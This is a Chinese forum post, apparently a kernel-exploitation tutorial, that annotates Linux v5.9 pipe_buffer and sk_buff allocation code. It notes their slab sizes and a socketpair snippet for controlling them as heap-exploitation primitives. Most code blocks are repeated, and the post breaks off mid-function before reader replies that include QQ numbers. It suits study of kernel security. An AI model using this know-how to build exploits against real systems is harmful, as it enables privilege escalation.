//v5.9 /fs/pipe.c
void free_pipe_info(struct pipe_inode_info *pipe)
{
    int i;
    //....
    //和管道相关的释放有关,也是相关的漏洞点
    for (i = 0; i < pipe->ring_size; i++) {
        struct pipe_buffer *buf = pipe->bufs + i;
        if (buf->ops)
            pipe_buf_release(pipe, buf);
    }
    //......
    //释放pipe_buffer数组,kmalloc-1024
    kfree(pipe->bufs);
    //释放pipe_inode_info管理结构,kmalloc-192
    kfree(pipe);
}
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
 
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
 
    bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
 
    bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
 
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
 
    bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
 
    bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
if (buf->ops)
    pipe_buf_release(pipe, buf);
if (buf->ops)
    pipe_buf_release(pipe, buf);
//v5.9 /fs/pipe.c
static ssize_t
    pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
    //......
    struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
    //......
    buf = &pipe->bufs[head & mask];
    buf->page = page;
    buf->ops = &anon_pipe_buf_ops;
    buf->offset = 0;
    buf->len = 0;
    //......
 
}
//v5.9 /fs/pipe.c
static ssize_t
    pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
    //......
    struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
    //......
    buf = &pipe->bufs[head & mask];
    buf->page = page;
    buf->ops = &anon_pipe_buf_ops;
    buf->offset = 0;
    buf->len = 0;
    //......
 
}
//v5.9  /fs/pipe.c
static ssize_t
    pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
    //....
    struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
    //....
    if (!buf->len) {
        pipe_buf_release(pipe, buf);
        //....
    }
    //....
}
//v5.9  /fs/pipe.c
static ssize_t
    pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
    //....
    struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
    //....
    if (!buf->len) {
        pipe_buf_release(pipe, buf);
        //....
    }
    //....
}
 
 
 
 
 
 
 
 
#include <sys/socket.h>
 
//默认必须
int socket_fd[2];
//domain参数必须被指定为AF_UNIX,不同的
int sockPair_return = socketpair(AF_UNIX, SOCK_STREAM, 0, socket_fd);
if( sockPair_return < 0){
    perror( "socketpair()" );
    exit(1);
}
#include <sys/socket.h>
 
//默认必须
int socket_fd[2];
//domain参数必须被指定为AF_UNIX,不同的
int sockPair_return = socketpair(AF_UNIX, SOCK_STREAM, 0, socket_fd);
if( sockPair_return < 0){
    perror( "socketpair()" );
    exit(1);
}
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(socket_fd[0],msg,0x8);
read(socket_fd[1],buf,0x8);
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(socket_fd[0],msg,0x8);
read(socket_fd[1],buf,0x8);
close(socket_fd[0]);
close(socket_fd[1]);
close(socket_fd[0]);
close(socket_fd[1]);
 
write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg()->内存申请/数据复制
write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg()->内存申请/数据复制
//v5.9 /net/unix/af_unix.c
static int unix_stream_sendmsg(struct socket *sock, struct msghdr *msg,
                   size_t len)
{
    struct sock *sk = sock->sk;
    struct sock *other = NULL;
    int err, size;
    struct sk_buff *skb;
    int sent = 0;
    struct scm_cookie scm;
    bool fds_sent = false;
    int data_len;
    //.....
    while (sent < len) {
        size = len - sent;
        /* Keep two messages in the pipe so it schedules better */
        size = min_t(int, size, (sk->sk_sndbuf >> 1) - 64);
        /* allow fallback to order-0 allocations */
        size = min_t(int, size, SKB_MAX_HEAD(0) + UNIX_SKB_FRAGS_SZ);
        data_len = max_t(int, 0, size - SKB_MAX_HEAD(0));
        data_len = min_t(size_t, size, PAGE_ALIGN(data_len));
        //------------------分叉一:内存申请部分
        skb = sock_alloc_send_pskb(sk, size - data_len, data_len,
                       msg->msg_flags & MSG_DONTWAIT, &err,
                       get_order(UNIX_SKB_FRAGS_SZ));
        //相关检查部分
        if (!skb)
            goto out_err;
        /* Only send the fds in the first buffer */
        err = unix_scm_to_skb(&scm, skb, !fds_sent);
        if (err < 0) {
            kfree_skb(skb);
            goto out_err;
        }
        //.....
        //----------------------分叉二:数据复制部分
        skb_put(skb, size - data_len);
        skb->data_len = data_len;
        skb->len = size;
        //这里开始进行数据复制
        err = skb_copy_datagram_from_iter(skb, 0, &msg->msg_iter, size);
        if (err) {
            kfree_skb(skb);
            goto out_err;
        }
        //.....
        sent += size;
    }
    //......
 
    return sent;
out_err:
    scm_destroy(&scm);
    return sent ? : err;
}
//v5.9 /net/unix/af_unix.c
static int unix_stream_sendmsg(struct socket *sock, struct msghdr *msg,
                   size_t len)
{
    struct sock *sk = sock->sk;
    struct sock *other = NULL;
    int err, size;
    struct sk_buff *skb;
    int sent = 0;
    struct scm_cookie scm;
    bool fds_sent = false;
    int data_len;
    //.....
    while (sent < len) {
        size = len - sent;
        /* Keep two messages in the pipe so it schedules better */
        size = min_t(int, size, (sk->sk_sndbuf >> 1) - 64);
        /* allow fallback to order-0 allocations */
        size = min_t(int, size, SKB_MAX_HEAD(0) + UNIX_SKB_FRAGS_SZ);
        data_len = max_t(int, 0, size - SKB_MAX_HEAD(0));
        data_len = min_t(size_t, size, PAGE_ALIGN(data_len));
        //------------------分叉一:内存申请部分
        skb = sock_alloc_send_pskb(sk, size - data_len, data_len,
                       msg->msg_flags & MSG_DONTWAIT, &err,
                       get_order(UNIX_SKB_FRAGS_SZ));
        //相关检查部分
        if (!skb)
            goto out_err;
        /* Only send the fds in the first buffer */
        err = unix_scm_to_skb(&scm, skb, !fds_sent);
        if (err < 0) {
            kfree_skb(skb);
            goto out_err;
        }
        //.....
        //----------------------分叉二:数据复制部分
        skb_put(skb, size - data_len);
        skb->data_len = data_len;
        skb->len = size;
        //这里开始进行数据复制
        err = skb_copy_datagram_from_iter(skb, 0, &msg->msg_iter, size);
        if (err) {
            kfree_skb(skb);
            goto out_err;
        }
        //.....
        sent += size;
    }
    //......
 
    return sent;
out_err:
    scm_destroy(&scm);
    return sent ? : err;
}
 
//v5.9 /net/core/skbuff.c
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
                int flags, int node)
{
    struct kmem_cache *cache;
    struct skb_shared_info *shinfo;
    struct sk_buff *skb;
    u8 *data;
    bool pfmemalloc;
 
    cache = (flags & SKB_ALLOC_FCLONE)
        ? skbuff_fclone_cache : skbuff_head_cache;
 
    if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
        gfp_mask |= __GFP_MEMALLOC;
 
    /* Get the HEAD */
    //从专门的缓存池skbuff_fclone_cache/skbuff_head_cache中申请内存
    //作为头部的管理结构
    skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
    if (!skb)
        goto out;
    //......
    //先对齐,这个和L1_CACHE_BYTES有关,64位系统即和64(0x40)对齐,32位类似,具体的还是查一下最好
    size = SKB_DATA_ALIGN(size);
    //size += 对齐之后的0x140
    //那么size只可能是0x140+n*0x40,最低为0x180,属于kmalloc-512
    size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
 
    //虽然是kmalloc_reserve函数,但是最终还是kmalloc形式
    //调用到`__kmalloc_node_track_caller`函数进行分配
    //这个data即为我们实际的存储数据的地方,也是从kmalloc申请出的堆块
    //并且是从对开的开头位置处开始存储,完成内存申请后返回unix_stream_sendmsg函数
    //在`skb_copy_datagram_from_iter`函数中数据会被复制
    data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
    if (!data)
        goto nodata;
    //...
    size = SKB_WITH_OVERHEAD(ksize(data));
    //....
    //初始化头部的管理结构
    memset(skb, 0, offsetof(struct sk_buff, tail));
    /* Account for allocated memory : skb + skb->head */
    skb->truesize = SKB_TRUESIZE(size);
    skb->pfmemalloc = pfmemalloc;
    refcount_set(&skb->users, 1);
    skb->head = data;
    skb->data = data;
    skb_reset_tail_pointer(skb);
    skb->end = skb->tail + size;
    skb->mac_header = (typeof(skb->mac_header))~0U;
    skb->transport_header = (typeof(skb->transport_header))~0U;
    //...
out:
    return skb;
nodata:
    kmem_cache_free(cache, skb);
    skb = NULL;
    goto out;
}
//v5.9 /net/core/skbuff.c
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
                int flags, int node)
{
    struct kmem_cache *cache;
    struct skb_shared_info *shinfo;
    struct sk_buff *skb;
    u8 *data;
    bool pfmemalloc;
 
    cache = (flags & SKB_ALLOC_FCLONE)
        ? skbuff_fclone_cache : skbuff_head_cache;
 
    if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
        gfp_mask |= __GFP_MEMALLOC;
 
    /* Get the HEAD */
    //从专门的缓存池skbuff_fclone_cache/skbuff_head_cache中申请内存
    //作为头部的管理结构
    skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
    if (!skb)
        goto out;
    //......
    //先对齐,这个和L1_CACHE_BYTES有关,64位系统即和64(0x40)对齐,32位类似,具体的还是查一下最好
    size = SKB_DATA_ALIGN(size);
    //size += 对齐之后的0x140
    //那么size只可能是0x140+n*0x40,最低为0x180,属于kmalloc-512
    size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
 
    //虽然是kmalloc_reserve函数,但是最终还是kmalloc形式
    //调用到`__kmalloc_node_track_caller`函数进行分配
    //这个data即为我们实际的存储数据的地方,也是从kmalloc申请出的堆块
    //并且是从对开的开头位置处开始存储,完成内存申请后返回unix_stream_sendmsg函数
    //在`skb_copy_datagram_from_iter`函数中数据会被复制
    data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
    if (!data)
        goto nodata;
    //...
    size = SKB_WITH_OVERHEAD(ksize(data));
    //....
    //初始化头部的管理结构
    memset(skb, 0, offsetof(struct sk_buff, tail));
    /* Account for allocated memory : skb + skb->head */
    skb->truesize = SKB_TRUESIZE(size);
    skb->pfmemalloc = pfmemalloc;
    refcount_set(&skb->users, 1);
    skb->head = data;
    skb->data = data;
    skb_reset_tail_pointer(skb);
    skb->end = skb->tail + size;
    skb->mac_header = (typeof(skb->mac_header))~0U;
    skb->transport_header = (typeof(skb->transport_header))~0U;
    //...
out:
    return skb;
nodata:
    kmem_cache_free(cache, skb);
    skb = NULL;
    goto out;
}
//v5.9 /net/core/datagram.c
int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
                                struct iov_iter *from,
                                int len)
{
    int start = skb_headlen(skb);            // skb->len - skb->data_len;
    int i, copy = start - offset;            // copy 是线性数据区的剩余空间大小
    struct sk_buff *frag_iter;
    //拷贝到申请的保存数据的堆块skb->data
    if (copy > 0) {
        if (copy > len)
            copy = len;
        if (copy_from_iter(skb->data + offset, copy, from) != copy)
            goto fault;
        if ((len -= copy) == 0)
            return 0;
        offset += copy;
    }
    //....
}
//v5.9 /net/core/datagram.c
int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
                                struct iov_iter *from,
                                int len)
{
    int start = skb_headlen(skb);            // skb->len - skb->data_len;
    int i, copy = start - offset;            // copy 是线性数据区的剩余空间大小
    struct sk_buff *frag_iter;
    //拷贝到申请的保存数据的堆块skb->data
    if (copy > 0) {
        if (copy > len)
            copy = len;
        if (copy_from_iter(skb->data + offset, copy, from) != copy)
            goto fault;
        if ((len -= copy) == 0)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 8
支持
分享
最新回复 (5)
雪    币: 265
活跃值: (29)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
2
师傅方便交换一下联系方式嘛?给你发私信啦
2022-5-29 23:21
0
雪    币: 5633
活跃值: (4789)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
3
GhostDoog 师傅方便交换一下联系方式嘛?给你发私信啦[em_13]
嗯嗯,好哒
2022-5-30 20:45
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
师傅,有些调试细节可以问一下吗,第一次调试不大会
2022-7-25 14:29
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
账号权限有限,无法私信您,方便的话加个qq呗。2243829852
2022-7-25 14:31
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6
学长能加个qq交流交流吗2499291623,我也是去年开始学pwn,,, 现在在看堆
2022-10-20 17:40
0
游客
登录 | 注册 方可回帖
返回
//